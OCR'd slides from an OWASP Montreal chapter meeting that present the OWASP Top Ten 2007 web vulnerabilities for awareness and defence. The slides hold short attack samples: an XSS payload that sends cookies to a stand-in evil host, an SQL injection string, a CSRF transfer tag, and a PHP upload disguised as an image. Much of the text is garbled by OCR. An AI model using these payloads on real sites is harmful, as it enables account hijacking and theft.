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Register to Montreal Chapter’s discussion list

B Ask questions about web application
security

m Participate to discussions!




OWASP Goals

m Charitable organization
B Community of APPSEC experts

m Educative mission, with documents,
tools and recommendations

m100% open source (free)

m ~130 chapters around the world
organizing regular meetings and
conferences
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OWASP Top Ten 2007

mTop Ten 2007 - Executive summary
» Visual with exemples
» Prepared for managers, for APPSEC budgets allocation

m Refer to OWASP.org for more informations
» http://www.owasp.org/index.php/OWASP Top Ten Project




A1l — Cross Site Scripting (XSS)

m Condition #1 -> The site displays data or parameters back

|'.u:|itl_|re 2040 |[ Fechercher ]

voiture 2010 : aucun résultat{s)

m Condition #2 -> Data/parameters not validated

|{script}alerttlj{ficript} |[ Recherchar ]




A1l — Cross Site Scripting (XSS)

BULLETIN EXPRESS

.......... - LEX

File Edit ‘iew History Bookmarks Tools Help  GBookmarks
@ b ﬁ c 2% l;mhttp:,I',I'wwmmﬁndex.phpWFormValue_Emaih<script sre=http: | ERRRIIN. cirn 55, js = < fscript 7 v ' phising y. @ -
-~
___________________________
-
Do




Al — Cross Site Scripting (XSS)

Hello Joe. Log to SuperBook.com and check my comment:

http://www.superbook.com/commentaires.php?
comment=<script>http://myevilsite.ru/

grab.cqgi?'%?20+document.cookie</script>

¥

http://myevilsite.ru

Vulnerable site, display back the
parameter content

e Stealing of Joe’s Cookie (Most popular of all XSS)
e Attacker buy books with Joe’s account

Example: December 2008 - American Express web bug exposes card holders
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A2 — Injection Flaws

SQL injection is very popular. One should never accept a parameter value

directly in a SQL query:
PHP: $sqgl = "SELECT * FROM users WHERE id = ' . $_ REQUEST['id'] . " and pass = '" . $_ REQUEST['password’] . "';

Code d'usager | 1ohn

Mot de passe | sk

PHP: $sql = "SELECT * FROM users WHERE id = 'John' and .......

Code d'usager |'or 1=1;--

\1/

Mot de passe | kokokok ok ok

PHP: $sqgl = "SELECT * FROM users WHERE id = " or 1=1;--'and .......

Welcomel!

Example: January 2006 - Russian hacker steals 53,000
credit card numbers from Rhode Island government

OWASP e .




A3 — Malicious File Execution
Ervover lAvatar depuis votre ordinateur: | | Erowse... | /w

The image file contains a
\ﬁ PHP script
<?php
Attacker’s PHP script
FakeScriptPHP. jpg ?>

Joe [ Posté le: 200y 2002 08:55 pm ¢

P ey
BARANS

&

Inzerit le: 08 Déc 2003
Meszages: 1397
Localisation: Montreal

N premier sur ce sitel

A victim surf the net -> Script Execution!!!

Example: 2002 - Guess.com exposed 200,000 client files and credit cards

OWASP 14




A4 — Insecure Direct Object Reference

http://www.MyBank.com/Interface?id=471249

Real account number

Example: 2000 - A citizen downloaded 17,000 business files by
modifying the account number in the URL of the Australian Taxation

Office’s GST Startup Assistance site

OWASP e 1=




A5 — Cross Site Request Forgery (CSRF/XSRF)

The user is not aware that an action is executed (forged URL)

#1 The user connects it's bank
Ma Banque

| codeusager

Connexion

#2 He looks at his favorite forum (where the forged link is hidden)

Joe [ Posté le: 27 Acii 2008 08:42 am  Sujet du E] / Vl.llnel'able forged request

Message

I A N Y message:
[

S

<img src=http://www.MyBank.com/transfer?to_account=87453&amount=1000/>

#3 Script execution!!!

Example:
Popular auction site, the forged request executed a BID for each visitor looged to the site

OWASP e 1




A6 — Information Leakage and Improper Error
Handling

m Do not help an attacker...

Server Error in '/' Application.

Exception of type System.QutOfMemoryException was
thrown.

Description: &n unhandled exception occurred during the execution of the current web regquest. Please review the
stack trace for more information about the errar and where it originated in the code.

Exception Details: System OutOfMemaoryException: Exception of type System OutOfMemoryException was thrown,

Source Error: TTE Status 500

An unhandled exception was generated during the execution of the current
webh request. Information regarding the origin and location of the

exception can be identified using the exception stack trace helow. BT Exceprion report
Stack Trace:
The server encountered an internal error () that prevented it from fulfilling this request.

[OutOfMemoryException: Exception of type System.QutOfMemoryException was thrown.]
lexcepti on}

java.sql.SQLExcep:iDn: Internal Error
at oracle. jdbc.dbaccess.DBError. throw3glException (DBError. java:163)
¥ersion Information: Microsoft MET Framework Version:1.1.4322 2300, ASP MET Version:1.1.4322.2300 at oracle.jdbe.dbaccess.DBError. throwSglException (DEError. javai211)
at oracle, jdbc.dbaccess.DEError. throwiglException (DEError. java:274)
at oracle. jdbc.oracore.OracleTypeCOLLECTION. initCollElemTypeName (Orac leTypelOLLECTION. java: 949)
at oracle.jdbe,oracore.OracleTypeCOLLECTION. getittributeType (OracleTypeCOLLECTION. java: 996)
at oracle,jdbc.oracore.OraclelasmwedType.gecFul lNawe (Orac leNamedType. java: 91)
at oracle.sgl.TypeDescriptor.init3QLName (Typelescriptor. java:128)
at oracle.sgl.Typelescriptor.getName (Typelescriptor., java: 103)
at oracle.sgl.StructDescriptor.getClass (Structlescriptor. java:41s)
at oracle,.sgl.3TRUCT.coddbe (STRUCT. javai3es)
at oracle. jdbc.oracore.OracleTypeUPT.unpickled80rec (OracleTypelUPT. java:236)
at oracle,jdbo,oracore.OracleTypeCOLLECTION . unpickleS0res_elems (OracleTypeCOLLECTION. Java: 553)
at oracle,jdbo.oracore.0racleTypeCOLLECTION. unpickled0rec (OracleTypeCOLLECTICON, javai383)
at oracle. jdbc.oracore.OracleTypeCOLLECTION. unpickleS0 (OracleTypeCOLLECTION. java:323)
at oracle,jdbc.oracore.OracleTypeCOLLECTION . unlinearize (OracleTypeCOLLECTICH, java:218)
at oracle,.sgl.ArrayDescriptor.toJavalrray(ArrayDescriptor. java:501)

Ap
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A7 — Broken Authentification and Session
Management

m No password policies
m No account lockout after x bad attempts
B -> Brute Force Password Guessing

B webScarab
File View Tools Help
Extensions rxSSICRLF rSessionID Analysis rScripted rFragmems rFuzzer rCOmpare rSearch
S v r Messages r Proxy r Manual Request r WehServices r Spider |
Method URL ersion
[ET [ttt com:80forumilogin.php | [HTTPA1 |
| Header Walue
f o=t oo AN 011 N
||User-Agent Mozillass. 0 dindows, U Windows NT 5.1, en-US; w1.9.0.8) .. |= Delete
||Accept textthiml,applicationihtmi+xml applicationfm | g=0.9 " g=08 ||
Iparameters
Laocation kame Type Walue Priority Fuzz Source
Query redirect STRIMG 0
Cookie user STRING admin 0 PASSWOIT  e— Pa stord
Add
Cookie password STRING ety i} d' t'
Dotee ictionnary
Total Requests: 4 | G Start st
ources al 0]
Current Request : 4 -
18} Date ethod Host Path Parameters Status Qrigin
14 2009/01/18...|GET ittt om0 0. 80 |ffarumilogin.php 2redirects 200 OK Fuzer  |=
15 200901/18... GET it ey Gy c 0 B0 |forurmdlogin.php 7redirects (200 OK Fumer ||
16 20090118, |GET hittp i . 0 S0 Sfarumdlogin.php Tredirect= 200 Ok Fuzzer —
el | annond o leeT It A - .- DI I st e o ann :,,_,_,,i | |L
1 [ 4

|Started

Example: January 2009, access to administrator accounts on www.twitter.com
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A8 — Insecure Cryptographic Storage

TABLE: USAGER
CHAMP: MOTDEPASSE

* Utilisation d’un hash non sécure (MD4)

Transaction.java

TABLE: TRANSACTION

* clé privée dans le code CHAMP: NUM_CARTE_CREDIT

* numéro de carte en clair

* clé privée accessible par
tous sur le disque

Base de données

m * clé privée dans la base de données

TABLE: CRYPT
CHAMP: CLE_ACTIVE

Example: 2006, TIX - 45 millions credit card numbers stolen

OWASP e 1




A9 — Insecure Communications

Protect sensitive informations!

5| {Untitled) - Wireshark

@ b @ c LRI II \j http:HWWWmEDmIFDrUm”Ggin-php?rEdirect= File Edit Wiew Go Capture Analyze  Statistics  Help
B FEXZEE AesaT L BE Qaaa -
mlndex du Forum
Ekanll | ¥ Expression... Clear Apply
Veuillez entrer votre nom d'utilisateur et votre mot de passe pour vous connecter.
Mo, - Time Source Destination Protocal Info
271 17.464262 TCP rtar
. 272 17.538439 TCP http
MNom d'utilisateur. |codeusager 373 17. 538477 Tcp rrar
Mot de passe: [eeeseeeens = | TP http
Se connecter automatiquement & chague visite: O S;; 12 gggg;? $EE HEE
Connexion 275 18.260046 TcP rtar
280 18.321447 TCP [TCF
Jai oublié¢ mon mot de passe 321493 TCP ram
. 299735 [RATTR HTTF
LA451590
]
[ ]
[ ]
|

204 21,361603
20A 71 434521

Framz 274 (B&8 bytes on wire, 888 bytes captured)
Ethernet II, src: D-Link_a2:ef:81 (00:1le:58:a2:ef:81), Dst: Cisco-Li_5b:50:3:
Internst Protocol, Src: 182.168.1.103 (192.168.1.103), Dst: €74,
Transmission Control Protocol, Src Port: rtam-sclo4 (21010, bst Port: hrtp
access_log (fichier de log du serveur web) LTS IS TR T F
=cod & d= td = Line-based text data: application/x—www-form-urlencoded
Vs ... Username=codeusagerapasswora=motdepasse username=codeusagerdpassword=motdepassedredirect=&login=Connexion
| >
UZeU B3 Be /4 £0 54 /9 FU 83 5d U Bl /U JU BC 99 B3 BNL-IypeE @ appiic

123

Serveur Web 02f0 6l 74 69 of ee 2f 78 2d 77 77 77 2d 66 6f 72 &d ationx— www-Form
0300 2d 75 72 6c 65 de 63 6F 64 65 64 0d 0a 43 6f e -urlenco ded..Con
0310 74 65 68 74 2d 4c¢ 65 62 67 74 68 3a 20 36 35 Od tent-Len gth: B5.
0320 0a 0d 0a 75 73 &5 72 6e 6l 6d &5 3d 63 6f 64 &3 ...usern ame=code
0330 75 73 61 67 65 72 26 70 €1 73 73 77 &f 72 64 3d usager&p asswords=
0340 6d &f 74 &4 63 0 61 73 73 65 26 72 65 64 69 T2 mutge as sed&redir
0350 65 63 74 3d 26 6¢c 6 67 69 Ge 3d 43 6T 6e 62 65 ect=&log in=Conne
0360 78 69 &f Ge wion =

File: "C:\DOCUMEr14arianelL OCALS~11Templet Packets: 311 Displayed: | Profile: Default

OWASP e 20




A10 — Failure to Restrict URL Access

B Hide of a web page is not a security
feature

» http://www.exemple.com/admin/adduser.php
» http://www.exemple.com/siteadmin.pl
» http://www.exemple.com/approveTransfer.do

m Calculate access privileges in the browser
side and not on the server:

» Example: January 2007, MacWorld registration website
vulnerability, allowed attacker to steal 1700% value
platinum pass to the exhibition

OWASP e 21




Rob Labbé presentation, Microsoft

Microsoft IT

Microsoft Security Development
Lifecycle for IT

Rob Labbé
Application Consulting and Engineering Services
roblab@microsoft.com




What are your expectations?

m Help us serve you better:
» High level meetings (management)
» Technical
» Get together (5-7)
» Training
» Conformity
» Networking

» Another idea? ?@?@




